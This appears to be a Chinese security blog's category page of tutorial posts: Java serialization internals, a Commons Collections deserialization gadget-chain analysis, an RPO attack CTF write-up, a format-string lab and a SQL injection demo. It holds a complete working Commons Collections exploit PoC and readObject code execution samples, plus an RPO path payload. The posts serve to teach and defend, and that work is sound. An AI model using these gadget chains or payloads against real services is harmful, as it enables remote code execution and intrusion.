分类 安全相关 下的文章

探秘Java反序列化漏洞三:CommonsCollections反序列化漏洞分析

通过前两篇文章,我们已经明白了序列化与反序列化的过程,事实上反序列化漏洞简单来说就是应用在对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能带来任意代码执行
要说Java反序列化漏洞,最经典的可能就是Apache CommonsCollections,由于其为Apache开源项目的重要组件,所以使用量非常大,从而影响了大量Java Web Server,这个漏洞横扫当时WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版,可以说对于反序列化安全有着重要意义

漏洞分析

org.apache.commons.collections提供一个类包来扩展和增加标准的Java的collection框架
首先我们先来看其调用链

AnotationInvocationHandler.readObject()
     Map(Proxy).entrySet()
          AnotationInvocationHandler.invoke()
               members(LazyMap).get()
                    ChainedTransformer.transform()
                         ConstantTransformer.transform()
                              Runtime.class
                         InvokerTransformer.transform()
                              getMethod("getRuntime",new Class[]{})
                         InvokerTransformer.transform()
                              invoke(null,new Object[]{})
                         InvokerTransformer.transform()
                              exec("calc")

该漏洞问题主要出现在org.apache.commons.collections.Transformer接口

package org.apache.commons.collections;

public interface Transformer {
    Object transform(Object var1);
}

可以看到该接口调用了一个方法transform其作用是为了给定一个Object对象经过转换后同时也返回一个Object
在其实现类中我们主要跟进InvokerTransformerConstantTransformerChainedTransformer
屏幕快照 2018-07-11 下午8.58.59
1.InvokerTransformer
可以看到其中属性为典型的反射格式:方法名,方法参数,实参

屏幕快照 2018-07-11 下午9.01.18
我们来看其transform(Object input)如下

public Object transform(Object input) {
        if(input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
            }
        }
    }

可以看到该方法中采用了反射的方法进行函数调用,而重点是这里的三个属性都为我们的可控参数
2.ConstantTransformer

public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
}

public Object transform(Object input) {
    return this.iConstant;
}

该方法返回iConstant属性,该属性也为可控参数
3.ChainedTransformer
这是一个利用的关键类

public static Transformer getInstance(Transformer[] transformers) {
        FunctorUtils.validate(transformers);
        if(transformers.length == 0) {
            return NOPTransformer.INSTANCE;
        } else {
            transformers = FunctorUtils.copy(transformers);
            return new ChainedTransformer(transformers);
        }
    }

可以看到,其构造方法中接收了Transformer数组,接下来

public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }

这个比较有意思,可以看出它使用了for循环来调用Transformer数组的transform方法,并且使用了object作为后一个调用transform方法的参数
也就是说我们现在可以通过结合上述三种方法来实现之前弹出计算器的操作

Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {
                String.class, Class[].class }, new Object[] {
                "getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {
                Object.class, Object[].class }, new Object[] {
                null, new Object[0] }),
            new InvokerTransformer("exec", new Class[] {
                String.class }, new Object[] {"open /Applications/Calculator.app"})};

Transformer transformedChain = new ChainedTransformer(transformers);

屏幕快照 2018-07-11 下午10.00.12

根据我们开始给出的调用链可以知道LazyMap(实现了Map接口)其中(当然也有其他的)调用了transform方法

public Object get(Object key) {
        if(!super.map.containsKey(key)) {
            Object value = this.factory.transform(key);
            super.map.put(key, value);
            return value;
        } else {
            return super.map.get(key);
        }
    }

在上述代码中会判断当前Map中是否已经有该key,如果没有会交给factory.transform来处理
facory初始化是通过下方代码来完成

public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }
protected LazyMap(Map map, Transformer factory) {
        super(map);
        if(factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        } else {
            this.factory = factory;
        }
    }

所以说,我们为了调用transform方法,需要找到LazyMap并调用其get方法。也就是说,我们需要在对象进行反序列化时调用我们精心构造对象的get方法,而如何能在反序列化时触发LazyMapget方法,这时候我们就要利用sun.reflect.annotation.AnnotationInvocationHandler类(JDK1.7)
我们先来看下其结构
屏幕快照 2018-07-11 下午11.28.06

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private static final long serialVersionUID = 6182022883658399397L;
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;
    private transient volatile Method[] memberMethods = null;

    AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        Class[] var3 = var1.getInterfaces();
        if(var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
            this.type = var1;
            this.memberValues = var2;
        } else {
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        }
    }

该类实现了序列化接口,同时其中typememberValues可控
接着往下看readObject方法,这里的memberValues是我们通过构造AnnotationInvocationHandler构造函数初始化的变量,也就是我们构造的LazyMap对象

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            Entry var5 = (Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if(var7 != null) {
                Object var8 = var5.getValue();
                if(!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

    }

可以看到在readObject方法中并未找到LazyMapget方法,但是我们发现在invoke方法中memberValues.get(Object)被调用
屏幕快照 2018-07-11 下午11.57.19

这里比较强,在看大佬的POC时发现使用的是动态代理方式构造,因为AnnotationInvocationHandler实现了InvocationHandler接口,所以我们可以使用newProxyInstance(ClassLoader loader,Class<?>[]interfaces,InvocationHandler h)生成动态代理,这样在调用对象的时候就会调用InvocationHandler.invoke方法从而执行我们想要的get方法,最终成果执行恶意代码

POC

public class CCPoc {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
            IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{
                        "getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{
                        null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{
                        String.class}, new Object[]{"open /Applications/Calculator.app"})};

        Transformer transformerChain = new ChainedTransformer(transformers);

        Map map = new HashMap();
        Map lazyMap = LazyMap.decorate(map, transformerChain);

        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        InvocationHandler handlerLazyMap = (InvocationHandler) ctor.newInstance(Retention.class, lazyMap);

        //设置代理
        Class[] interfaces = new Class[]{java.util.Map.class};
        Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaces, handlerLazyMap);
        InvocationHandler handlerProxy = (InvocationHandler) ctor.newInstance(Retention.class, proxyMap);

        System.out.println("Saving serialized object in test.ser");
        FileOutputStream fos = new FileOutputStream("test.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(handlerProxy);
        oos.flush();


        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.ser"));
        Object s = ois.readObject();
        ois.close();
    }

}

屏幕快照 2018-07-12 上午1.36.23

总结

攻击调用链
cc攻击链-2

通用解决方案

更新Apache Commons Collections库
  Apache Commons Collections在 3.2.2版本开始做了一定的安全处理,新版本的修复方案对相关反射调用进行了限制,对这些不安全的Java类的序列化支持增加了开关。

NibbleSecurity公司的ikkisoft在github上放出了一个临时补丁SerialKiller
  lib地址:https://github.com/ikkisoft/SerialKiller
  下载这个jar后放置于classpath,将应用代码中的java.io.ObjectInputStream替换为SerialKiller
  之后配置让其能够允许或禁用一些存在问题的类,SerialKiller有Hot-Reload,Whitelisting,Blacklisting几个特性,控制了外部输入反序列化后的可信类型。

参考资料

https://www.cnblogs.com/ssooking/p/5875215.html
https://www.anquanke.com/post/id/82934
https://paper.seebug.org/312/

探秘Java反序列化漏洞二:反序列化过程分析

这里我们会主要分析自定义反序列化时readObject是如何被调用的

反序列化流程

在反序列化时我们会调用readObject方法,那么其中的执行又经过了哪些过程呢?
首先ObjectInputStream(InputStream in)有参构造方法设置enableOverride = false

public ObjectInputStream(InputStream in) throws IOException {
        verifySubclass();
        bin = new BlockDataInputStream(in);
        handles = new HandleTable(10);
        vlist = new ValidationList();
        serialFilter = ObjectInputFilter.Config.getSerialFilter();
        enableOverride = false;
        readStreamHeader();
        bin.setBlockDataMode(true);
    }

所以readObject会执行readObject0(false)

public final Object readObject()
        throws IOException, ClassNotFoundException
    {
        if (enableOverride) {
            return readObjectOverride();
        }

        // if nested read, passHandle contains handle of enclosing object
        int outerHandle = passHandle;
        try {
            Object obj = readObject0(false);
            handles.markDependency(outerHandle, passHandle);
            ClassNotFoundException ex = handles.lookupException(passHandle);
            if (ex != null) {
                throw ex;
            }
            if (depth == 0) {
                vlist.doCallbacks();
            }
            return obj;
        } finally {
            passHandle = outerHandle;
            if (closed && depth == 0) {
                clear();
            }
        }
    }

由此进入readObject方法

private Object readObject0(boolean unshared) throws IOException {
        boolean oldMode = bin.getBlockDataMode();
        if (oldMode) {
            int remain = bin.currentBlockRemaining();
            if (remain > 0) {
                throw new OptionalDataException(remain);
            } else if (defaultDataEnd) {
                /*
                 * Fix for 4360508: stream is currently at the end of a field
                 * value block written via default serialization; since there
                 * is no terminating TC_ENDBLOCKDATA tag, simulate
                 * end-of-custom-data behavior explicitly.
                 */
                throw new OptionalDataException(true);
            }
            bin.setBlockDataMode(false);
        }

        byte tc;
        while ((tc = bin.peekByte()) == TC_RESET) {
            bin.readByte();
            handleReset();
        }

        depth++;
        totalObjectRefs++;
        try {
            switch (tc) {
                case TC_NULL:
                    return readNull();

                case TC_REFERENCE:
                    return readHandle(unshared);

                case TC_CLASS:
                    return readClass(unshared);

                case TC_CLASSDESC:
                case TC_PROXYCLASSDESC:
                    return readClassDesc(unshared);

                case TC_STRING:
                case TC_LONGSTRING:
                    return checkResolve(readString(unshared));

                case TC_ARRAY:
                    return checkResolve(readArray(unshared));

                case TC_ENUM:
                    return checkResolve(readEnum(unshared));

                case TC_OBJECT:
                    return checkResolve(readOrdinaryObject(unshared));

                case TC_EXCEPTION:
                    IOException ex = readFatalException();
                    throw new WriteAbortedException("writing aborted", ex);

                case TC_BLOCKDATA:
                case TC_BLOCKDATALONG:
                    if (oldMode) {
                        bin.setBlockDataMode(true);
                        bin.peek();             // force header read
                        throw new OptionalDataException(
                            bin.currentBlockRemaining());
                    } else {
                        throw new StreamCorruptedException(
                            "unexpected block data");
                    }

                case TC_ENDBLOCKDATA:
                    if (oldMode) {
                        throw new OptionalDataException(true);
                    } else {
                        throw new StreamCorruptedException(
                            "unexpected end of block data");
                    }

                default:
                    throw new StreamCorruptedException(
                        String.format("invalid type code: %02X", tc));
            }
        } finally {
            depth--;
            bin.setBlockDataMode(oldMode);
        }
    }

可以看到在改方法中开始分析我们序列化的内容,在switch中我们可以与之前分析的序列化后结构一一对应,其对应字节数据位于ObjectStreamConstants接口中
屏幕快照 2018-07-10 下午9.55.45
在上述代码中我们主要关注的是TC_OBJECT,其执行的方法是:checkResolve(readOrdinaryObject(unshared))–>readOrdinaryObject方法代码如下

 private Object readOrdinaryObject(boolean unshared)
        throws IOException
    {
        if (bin.readByte() != TC_OBJECT) {
            throw new InternalError();
        }

        ObjectStreamClass desc = readClassDesc(false);
        desc.checkDeserialize();

        Class<?> cl = desc.forClass();
        if (cl == String.class || cl == Class.class
                || cl == ObjectStreamClass.class) {
            throw new InvalidClassException("invalid class descriptor");
        }

        Object obj;
        try {
            obj = desc.isInstantiable() ? desc.newInstance() : null;
        } catch (Exception ex) {
            throw (IOException) new InvalidClassException(
                desc.forClass().getName(),
                "unable to create instance").initCause(ex);
        }

        passHandle = handles.assign(unshared ? unsharedMarker : obj);
        ClassNotFoundException resolveEx = desc.getResolveException();
        if (resolveEx != null) {
            handles.markException(passHandle, resolveEx);
        }

        if (desc.isExternalizable()) {
            readExternalData((Externalizable) obj, desc);
        } else {
            readSerialData(obj, desc);
        }

        handles.finish(passHandle);

        if (obj != null &&
            handles.lookupException(passHandle) == null &&
            desc.hasReadResolveMethod())
        {
            Object rep = desc.invokeReadResolve(obj);
            if (unshared && rep.getClass().isArray()) {
                rep = cloneArray(rep);
            }
            if (rep != obj) {
                // Filter the replacement object
                if (rep != null) {
                    if (rep.getClass().isArray()) {
                        filterCheck(rep.getClass(), Array.getLength(rep));
                    } else {
                        filterCheck(rep.getClass(), -1);
                    }
                }
                handles.setObject(passHandle, obj = rep);
            }
        }

        return obj;
    }

在代码中通过

Object obj;
try {
    obj = desc.isInstantiable() ? desc.newInstance() : null;
} catch (Exception ex) {
    throw (IOException) new InvalidClassException(
        desc.forClass().getName(),
        "unable to create instance").initCause(ex);
}

来判断对象的Class是否可以实例化,如果可以就创建它的实例desc.newInstance()
紧接着通过if-eles判断进入关键位置readSerialData(Object obj, ObjectStreamClass desc)(注:1.如果实现了Externalizable接口,是不会调用readSerialData方法的 2.这里的传入参数obj就是上面通过反射获得的构造函数进而构造出来的对象)

private void readSerialData(Object obj, ObjectStreamClass desc)
        throws IOException
    {
        ObjectStreamClass.ClassDataSlot[] slots = desc.getClassDataLayout();
        for (int i = 0; i < slots.length; i++) {
            ObjectStreamClass slotDesc = slots[i].desc;

            if (slots[i].hasData) {
                if (obj == null || handles.lookupException(passHandle) != null) {
                    defaultReadFields(null, slotDesc); // skip field values
                } else if (slotDesc.hasReadObjectMethod()) {
                    ThreadDeath t = null;
                    boolean reset = false;
                    SerialCallbackContext oldContext = curContext;
                    if (oldContext != null)
                        oldContext.check();
                    try {
                        curContext = new SerialCallbackContext(obj, slotDesc);

                        bin.setBlockDataMode(true);
                        slotDesc.invokeReadObject(obj, this);
                    } catch (ClassNotFoundException ex) {
                        /*
                         * In most cases, the handle table has already
                         * propagated a CNFException to passHandle at this
                         * point; this mark call is included to address cases
                         * where the custom readObject method has cons'ed and
                         * thrown a new CNFException of its own.
                         */
                        handles.markException(passHandle, ex);
                    } finally {
                        do {
                            try {
                                curContext.setUsed();
                                if (oldContext!= null)
                                    oldContext.check();
                                curContext = oldContext;
                                reset = true;
                            } catch (ThreadDeath x) {
                                t = x;  // defer until reset is true
                            }
                        } while (!reset);
                        if (t != null)
                            throw t;
                    }

                    /*
                     * defaultDataEnd may have been set indirectly by custom
                     * readObject() method when calling defaultReadObject() or
                     * readFields(); clear it to restore normal read behavior.
                     */
                    defaultDataEnd = false;
                } else {
                    defaultReadFields(obj, slotDesc);
                    }

                if (slotDesc.hasWriteObjectData()) {
                    skipCustomData();
                } else {
                    bin.setBlockDataMode(false);
                }
            } else {
                if (obj != null &&
                    slotDesc.hasReadObjectNoDataMethod() &&
                    handles.lookupException(passHandle) == null)
                {
                    slotDesc.invokeReadObjectNoData(obj);
                }
            }
        }
            }

在进入readSerialData后经过一系列数据判断和查看是否有readObject方法后执行进入invokeReadObject(Object obj, ObjectInputStream in)并判断是否有readObjectMethod,如果有则执行readObjectMethod.invoke(obj, new Object[]{ in })反射调用我们自定义的readObject方法

根据上述过程分析,简单总结了一下关键流程,见下图
readObject-2
反序列攻击时序图(by:xxlegend)
SequenceDiagra

自定义反序列化来弹一个计算器

明白了上述分析的readObject过程,接下来我们通过重写readObject来自定义反序列化行为由此直接操作Runtime弹一个计算器

序列化

public class Ser implements Serializable{
    private static final long serialVersionUID = 1L;
    public int num=911;
    //重写readObject方法
    private void readObject(java.io.ObjectInputStream in) throws IOException,ClassNotFoundException{
        in.defaultReadObject();//调用原始的readOject方法
        Runtime.getRuntime().exec("open /Applications/Calculator.app");
        System.out.println("test");
    }
    public static void main(String[] args) {
        try {
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.obj"));
            Ser ser=new Ser();
            oos.writeObject(ser);//序列化关键函数
            oos.flush();  //缓冲流
            oos.close(); //关闭流
        } catch (IOException e) {
            e.printStackTrace();
        }

    }
}

(注:这里我们写的执行序列化的类同时为被序列化的类)

反序列化

public class DeSer{

    public static void main(String[] args) throws ClassNotFoundException, IOException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("object.obj"));
        Ser s = (Ser) ois.readObject();
        System.out.println(s.num);
        ois.close();
    }
}

效果如下
屏幕快照 2018-07-10 下午10.18.43

风险

  1. 信息泄漏
  2. 数据篡改(伪造,拒绝服务)
  3. 命令执行

RCE前提

  • 数据未经过滤直接进入readObject
  • 存在可利用的反序列类
  • 常见触发点:

    readObject()
    readObjectNoData()
    readExternal()
    readResolve()
    validateObject()
    finalize()
    

参考资料

https://www.cnblogs.com/huhx/p/sSerializableTheory.html
https://blog.csdn.net/u014653197/article/details/78114041

探秘Java反序列化漏洞一:序列化与反序列化

最近在看Java反序列化漏洞方面的文章,感谢各位大佬的分享。由此做一个整理,并加入自己的理解。

序列化与反序列化

序列化 (Serialization)是将对象的状态信息转换为可以存储或传输的形式的过程。一般将一个对象存储至一个储存媒介,例如档案或是记亿体缓冲等。在网络传输过程中,可以是字节或是XML等格式。而字节的或XML编码格式可以还原完全相等的对象。这个相反的过程又称为反序列化。
简单来说序列化是用于将对象转换成二进制串存储,而反序列化即为将二进制串转换成对象。
未命名文件-3

为什么要序列化

在运行Java中,我们会通过各种途径创建对象,这些对象事实上都是位于JVM的堆内存中,伴随着其运行而存在。一旦当JVM停止运行,这些对象的状态也就随之消失。在实际中,我们需要将这些对象持久下来并且在需要时候读出来,或者为了节省内存,这时候就需要使用序列化。
对象序列化机制(object serialization)是Java语言内建的一种对象持久化方式,通过对象序列化,可以把对象的状态保存为字节数组,并且可以在有需要的时候将这个字节数组通过反序列化的方式再转换成对象。对象序列化可以很容易的在JVM中的活动对象和字节数组(流)之间进行转换。

使用场景

  • http参数,cookie,sesion,存储方式可能是base64(rO0), 压缩后的base64(H4sl),MII等
  • Servlets HTTP,Sockets,Session管理器 包含的协议就包括 JMX,RMI,JMS,JNDI等(\xac\xed)
  • xml Xstream,XMLDecoder等(HTTP Body:Content- Type:application/xml)
  • json(Jackson,fastjson)http请求中包含

代码实现

相关接口及类

Java为了方便开发人员将Java对象进行序列化及反序列化提供了一套方便的API来支持。其中包括以下接口和类:

java.io.Serializable

java.io.Externalizable

ObjectOutput

ObjectInput

ObjectOutputStream

ObjectInputStream 

使用时可序列化的对象需要实现 java.io.Serializable 接口或者 java.io.Externalizable 接口。
以实现 Serializable 接口为例,Serializable 仅是一个标记接口,并不包含任何需要实现的具体方法。实现该接口只是为了声明该Java类的对象是可以被序列化的。实际的序列化和反序列化工作是通过ObjectOuputStream和ObjectInputStream来完成的。ObjectOutputStream 的 writeObject 方法可以把一个Java对象写入到流中,ObjectInputStream 的 readObject 方法可以从流中读取一个 Java 对象。在写入和读取的时候,虽然用的参数或返回值是单个对象,但实际上操纵的是一个对象图,包括该对象所引用的其它对象,以及这些对象所引用的另外的对象。Java 会自动帮你遍历对象图并逐个序列化。除了对象之外,Java 中的基本类型和数组也是可以通过 ObjectOutputStream 和 ObjectInputStream 来序列化的。

示例代码

序列化

public class Ser implements Serializable{
    private static final long serialVersionUID = 1L;
    public int num=911;
    public static void main(String[] args) {
        try {
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.obj"));
            Ser ser=new Ser();
            oos.writeObject(ser);//序列化关键函数
            oos.flush();  //缓冲流
            oos.close(); //关闭流
        } catch (IOException e) {
            e.printStackTrace();
        }

    }
}

可以看到,在序列化后当前目录下生成了一串二进制表示的字节数组文件object.obj
接下来我们执行反序列化读出其对象中的参数
反序列化

public class DeSer {
    public static void main(String[] args) throws ClassNotFoundException, IOException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("object.obj"));
        Ser s = (Ser) ois.readObject();
        System.out.println(s.num);
        ois.close();
    }
}

屏幕快照 2018-07-10 上午11.07.56

存储格式

序列化的文件二进制字节数据如下图
屏幕快照 2018-07-10 上午11.19.01
1.序列化文件头

AC ED :STREAM_MAGIC声明使用了序列化协议
00 05 :STREAM_VERSION序列化协议版本
73 :TC_OBJECT声明这是一个新的对象

2.序列化类的描述 在这里是Ser类

72 :TC_CLASSDESC声明这里开始一个新的class
00 11 :class名字的长度是17个字节
63 6E 2E 72 75 69 30 2E 74 65 73 74 31 2E 53 65 72 :Ser的完整类名
00 00 00 00 00 00 00 01 :serialVersionUID,序列化ID,如果没有指定,则会由算法随机生成一个8字节的ID
02 :标记号,声明该类支持序列化
00 01:该类所包含的域的个数为1

3.对象中各个属性的描述

49 :域类型,49代表I,也就是int类型
00 03 :域名字的长度为3
6E 75 6D :num属性的名称

4.对象的父类信息描述

这里没有父类,如果有,则数据格式与第二部分一样

5.对象属性的实际值

如果属性是一个对象,那么这里还将序列化这个对象,规则和第2部分一样
00 00 03 8F :911的数值

当然我们也可以使用工具SerializationDumper来查看其结构
屏幕快照 2018-07-10 上午11.17.02

注意

  • 当父类实现了Serializable接口的时候,所有的子类都能序列化
  • 子类实现了Serializable接口,父类没有,父类中的属性不能被序列化(不报错,但是数据会丢失)
  • 如果序列化的属性是对象,对象必须也能序列化,否则会报错
  • 反序列化的时候,如果对象的属性有修改或则删减,修改的部分属性会丢失,但是不会报错
  • 在反序列化的时候serialVersionUID被修改的话,会反序列化失败
  • 在存Java环境下使用Java的序列化机制会支持的很好,但是在多语言环境下需要考虑别的序列化机制,比如xml,json,或则protobuf

参考资料

https://www.cnblogs.com/senlinyang/p/8204752.html
https://www.ibm.com/developerworks/cn/java/j-lo-serial/
http://www.hollischuang.com/archives/1150
http://xxlegend.com/2018/06/20/先知议题%20Java反序列化实战%20解读/

浅析RPO攻击

强网杯学到的一个新姿势。比赛之后研究了下,感觉实际情况下还是比较难利用的,不过这种攻击思路值得学习。


什么是RPO攻击

RPO(Relative Path Overwrite)相对路径覆盖,是一种新型攻击技术,最早由Gareth Heyes在其发表的文章中提出。主要是利用浏览器的一些特性和部分服务端的配置差异导致的漏洞,通过一些技巧,我们可以通过相对路径来引入其他的资源文件,以至于达成我们想要的目的。

就目前来看此攻击方法依赖于浏览器和网络服务器的反应,基于服务器的Web缓存技术和配置差异,以及服务器和客户端浏览器的解析差异,利用前端代码中加载的css/js的相对路径来加载其他文件,最终浏览器将服务器返回的不是css/js的文件当做css/js来解析,从而导致XSS,信息泄露等漏洞产生。

其实猛的一看定义,刚开始我还以为和缓存攻击差不多,其实不一样。简单来理解RPO攻击的原理,我认为就是服务端和客户端(不同模块)对url(请求内容)处理不一致导致的。这也就是上面我说的攻击思路,其实这样的攻击思路在很多web攻击中都用到,比如说二次注入,宽字节注入。

漏洞浅析

差异

这里先用绿盟文章中的案例来了解一下几个关于服务器和客户端浏览器在解析和识别上的差异性基础知识。

第一个差异化

在apache和Nginx环境下,正常情况访问如下:

然后在Apache中将/编码为%2f后,服务器无法识别url,返回404,但是在Nginx中将/编码为%2f后,服务器可以识别编码后的url,返回200:

可见不同web服务器对url的识别是不一样的。

第二个差异化

在Nginx中,编码后的url服务器可以正常识别,也就是说服务器在加载文件时会解码后找到具体文件返回返回客户端。

但是在客户端识别url时是不会解码的,正常情况下解码%2f解码后应该加载的是rpo/xxx/../x.js,最后也就是rpo/x.js文件;而这里加载的是/x.js,所以浏览器是没有解码%2f的。

实际上通过测试,客户端浏览器在加载相对路径文件时是以最后一个/为相对目录加载具体资源文件的。

 

我们再来了解一下pathinfo

什么是pathinfo

利用pathinfo解析URL

结果

在pathinfo模式下

http://localhost/index.php?m=Index&a=test 等同于 http://localhost/index.php/Index/test

—-

http://www.xxx.com/index.php/模块/方法

该模式会产生的安全问题–>http://www.jb51.net/article/102156.htm

事实上就是读不到东西会退后直到能读到东西然后解析出来,也就是把读不到的路径当成模块啥的。就好比传了个参数一样,实际加载页面是前面的。

来看下这次强网杯题目来理解

Show your mind

http://39.107.33.96:20000/index.php/view/article/111

可以看到这样的url方式应该是使用了pathinfo模式相当于

http://39.107.33.96:20000/index.php?mod=view&article=763

首先可以看到/index.php/引入了js。

然后一个功能我们可以往生成页面写入任意字符,但是这个页面有限制不能直接执行js,这时候我们就要利用RPO攻击了

首先我们在写入alert(1)

比如写到了http://39.107.33.96:20000/index.php/view/article/111 页面

接着通过构造

http://39.107.33.96:20000/index.php/view/article/111/..%2f..%2f..%2f..%2findex.php 打开网页

jq.js加载了我们构造的js

对于上面的payload实际上,服务端解析为

http://39.107.33.96:20000/index.php/view/article/111/../../../../index.php

所以实际上渲染了index.php页面,而页面中jq是通过相对路径引用的 static/js/jquery.min.js

因为差异性,我们浏览器客户端去找js路径是无法解析%2f的

就把..%2f..%2f..%2f..%2findex.php这当成一个文件,

找jq文件路径就成了http://39.107.33.96:20000/index.php/view/article/111/static/js/jquery.min.js

读到static那,因为找不到就又不读了,所以就直接加载了http://39.107.33.96:20000/index.php/view/article/111/的内容

所以我们的jquery.min.js内容成了alert(1)

 

对于实际场景中的利用:个人感觉还是比较难利用的,也就是说首先网站有可控输出点,然后未声明<!DOCTYPE html>,(声明了就是标准模式(strict mod),未声明就是怪异模式,就是浏览器使用自己的方式解析网页代码。),使用相对引用方式,有的还得配合pathinfo。如果使用{}*{xss:expression(open(alert(1)))}/`也只能在IE6,7成功。当然还有加载Scriptlet方式,不过也有同域限制。


参考:

http://www.jb51.net/article/102156.htm

http://blog.nsfocus.net/rpo-attack/

 

Ubuntu下测试格式化字符串漏洞

基础内容可以参考

http://120.78.88.5/WooyunDrops/#!/drops/823.漏洞挖掘基础之格式化字符串

 

首先确保系统禁用了ASLR

执行以下命令禁用ASLR,防止地址动态分配造成实验失败

实验源码

gcc编译.关闭ld链接器不可执行机制,关闭gcc编译器gs验证码机制

gcc编译器gs验证码机制

gcc编译器专门为防止缓冲区溢出而采取的保护措施,具体方法是gcc首先在缓冲区被写入之前在buf的结束地址之后返回地址之前放入随机的gs验证码,并在缓冲区写入操作结束时检验该值。通常缓冲区溢出会从低地址到高地址覆写内存,所以如果要覆写返回地址,则需要覆写该gs验证码。这样就可以通过比较写入前和写入后gs验证码的数据,判断是否产生溢出。

关闭gcc编译器gs验证码机制的方法是:

在gcc编译时采用-fno-stack-protector选项。

ld链接器堆栈段不可执行机制

ld链接器在链接程序的时候,如果所有的.o文件的堆栈段都标记为不可执行,那么整个库的堆栈段才会被标记为不可执行;相反,即使只有一个.0文件的堆栈段被标记为可执行,那么整个库的堆栈段将被标记为可执行。检查堆栈段可执行性的方法是:

如果是检查ELF库:readelf -lW $BIN | grep GNU_STACK查看是否有E标记

如果是检查生成的.o文件:scanelf -e $BIN查看是否有X标记

ld链接器如果将堆栈段标记为不可执行,即使控制了eip产生了跳转,依然会产生段错误。

关闭ld链接器不可执行机制的方法是:

在gcc编译时采用-z execstack选项。

开始调试

首先分析一下汇编代码,下面这一段代码就是将p指向flag,并且将局部变量flag、p压栈,我们只需要利用格式化字符串漏洞覆盖掉*p指向的内存地址的内容为2000就可以了。

*p地址即位ebp-0x10 从上图我们可以看到为0xffffcfb8

所以,我们现在要将0xffffcfb8这个地址的内容修改为2000。

注: gdb调试环境里面的栈地址跟直接运行程序是不一样的,也就是说我们在直接运行程序时修改这个地址是没用的,所以我们需要结合格式化字符串漏洞读内存的功能,先泄露一个地址出来,然后我们根据泄露出来的地址计算出ebp-0x10的地址。

执行get()函数后随便输入AAAAAAA可以观察到栈区如下图

如果输入%x的话就可以读出esp+4地址上的数据 即0xffffcf54

所以说b8-54=64 计算出偏移量后我们可以去获取泄漏的地址然后再去覆盖

0xffffcfa4+0x64=0xffffd008

所以我们要修改的地址为0xffffd008

生成payload

成功

PreparedStatement防止sql注入

今天测试一个demo发现里面有点小问题,代码很规范,其中操作jdbc使用PreparedStatement也很正常,可是测试时候突然发现其采用了字符串追加形式来生产sql语句,这样使用其实直接绕开了PreparedStatement的优点[参数化的查询],从而可以轻易的造成sql注入。


首先我们先认识三个重要的对象

 1.Connection

代表着Java程序与数据库建立的连接。

2.Statement

代表SQL发送器,用于发送和执行SQL语句。

3.ResultSet

代表封装的数据库返回的结果集,用于获取查询结果。

 

上面是demo中的初始化方法和对象的使用,还有读取DbConfig.properties配置文件

什么是sql注入

简单来说就是黑客通过与服务器交互时在创建者没有有效的进行过滤的情况下的一种拼装sql命令来达到改变sql语义进而获取其敏感数据的行为.

 

那么如何进行有效的防御?我们还是在java中围绕这个demo说

它其中判断登陆用户是否成功的方法是这样写的

当我们尝试登陆一个错误用户,flag返回false,正确时返回true

可以看到,这时数据库执行的命令为

因为没有符合的返回,所以flag依然为false

可是当遇到别有用心的人时登陆就不会是这么简单的操作,比如我们执行下面的sql命令,数据库会回应怎样的数据呢?

可以看一下

返回了两个用户的信息,这也不用怎么解释,前面两个值与and返回为false而之后配一个or 1=1 也就相当于执行了

所以攻击者可以配合这样的语法来进行任意用户登陆,如 密码输入为

rs next了两次自然返回true

